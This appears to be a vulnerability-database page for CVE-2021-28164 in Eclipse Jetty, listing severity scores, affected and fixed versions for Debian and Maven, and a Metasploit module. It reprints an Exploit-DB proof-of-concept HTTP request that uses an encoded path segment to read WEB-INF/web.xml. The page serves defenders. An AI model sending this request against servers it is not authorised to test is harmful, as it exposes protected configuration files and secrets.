CVE-2021-28164

unknown

Published 2021-04-06 · Modified 2026-03-13

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CVSS v3

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CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

Authorization Before Parsing and Canonicalization in jetty

Predictions

Exploit likelihood

30%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-50438 webapps java text · 1 KB

Mayank Deshmukh · 2021-10-22

Jetty 9.4.37.v20210219 - Information Disclosure

text exploit Source: Exploit-DB

# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure 
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Metasploit modules

auxiliary_gather/jetty_web_inf_disclosure rank 300

Jetty WEB-INF File Disclosure

Source fetch failed: fetch_error — view the original via the link above.

OS impact

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`9.4.39-1`
sid	Fixed	`9.4.39-1`
forky	Fixed	`9.4.39-1`
bullseye	Fixed	`9.4.39-1`
bookworm	Fixed	`9.4.39-1`

Package impact

Ecosystem	Package	Vulnerable	Fixed
Maven	org.eclipse.jetty:jetty-webapp	`>=9.4.37,<9.4.39`	`9.4.39`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.